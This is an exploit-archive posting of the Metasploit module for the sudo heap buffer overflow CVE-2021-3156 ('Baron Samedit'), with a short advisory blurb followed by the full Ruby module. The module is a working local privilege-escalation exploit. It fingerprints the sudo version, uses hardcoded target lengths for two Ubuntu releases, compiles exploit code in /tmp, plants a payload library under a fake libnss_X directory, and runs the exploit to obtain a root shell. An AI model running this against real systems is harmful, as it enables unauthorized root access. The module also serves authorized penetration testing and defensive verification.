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Sudo 1.8.31p2 / 1.9.5p1 Buffer Overflow

Sudo 1.8.31p2 / 1.9.5p1 Buffer Overflow
Posted Feb 5, 2021
Authored by Blasty, Spencer McIntyre, Qualys Security Advisory, bwatters-r7, Alexander Krog | Site metasploit.com

A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2 through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker controlled library which results in it being loaded with the elevated privileges held by sudo.

tags | exploit, overflow, local
advisories | CVE-2021-3156
MD5 | 5a520123546e73d450b7fef8df23c9de

Sudo 1.8.31p2 / 1.9.5p1 Buffer Overflow

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Post::Linux::Compile
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sudo Heap-Based Buffer Overflow',
'Description' => %q(
A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker
to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2
through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this
implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker
controlled library which results in it being loaded with the elevated privileges held by sudo.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # vulnerability discovery and analysis
'Spencer McIntyre', # metasploit module
'bwatters-r7', # metasploit module
'blasty <blasty@fail0verflow.com>', # original PoC
'Alexander Krog' # detailed vulnerability analysis and exploit technique
],
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => ['unix', 'linux'],
'References' => [
['URL', 'https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit'],
['URL', 'https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt'],
['URL', 'https://www.kalmarunionen.dk/writeups/sudo/'],
['URL', 'https://github.com/blasty/CVE-2021-3156/blob/main/hax.c'],
['CVE', '2021-3156'],
],
'Targets' =>
[
[ 'Manual', { } ],
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ] } ],
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ] } ],
],
'DefaultTarget' => 1,
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
'DisclosureDate' => '2021-01-26',
'Notes' => {
'AKA' => [ 'Baron Samedit' ],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
])

register_advanced_options([
OptString.new('Lengths', [ false, 'The lengths to set as used by the manual target. (format: #,#,#,#)' ], regex: /(\d+(,[ ]*| )){3}\d+/)
])

deregister_options('COMPILE')
end

def get_versions
versions = {}
output = cmd_exec("sudo --version")
if output
version = output.split("\n").first.split(' ').last
versions[:sudo] = version if version =~ /^\d/
end

versions
end

def check
sudo_version = get_versions[:sudo]
return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil?

# fixup the p number used by sudo to be compatible with Gem::Version
sudo_version.gsub!(/p/, '.')

vuln_builds = [
[Gem::Version.new('1.8.2'), Gem::Version.new('1.8.31.2')],
[Gem::Version.new('1.9.0'), Gem::Version.new('1.9.5.1')],
]

if sudo_version == '1.8.31'
# Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31
return CheckCode::Detected("sudo #{sudo_version} maybe a vulnerable build.")
end

if vuln_builds.any? { |build_range| Gem::Version.new(sudo_version).between?(*build_range) }
return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
end

CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
end

def exploit
if target.name == 'Manual'
fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
arguments = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')
else
arguments = target[:lengths].join(' ')
end

fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc?

path = datastore['WritableDir']
cmd_exec("mkdir -p #{path}/libnss_X")

file_name = rand_text_alphanumeric(5..10)
upload_and_compile("#{path}/#{file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
upload("#{path}/libnss_X/P0P_SH3LLZ_ .so.2", generate_payload_dll)
cmd_exec("#{path}/#{file_name} #{arguments}")
end
end
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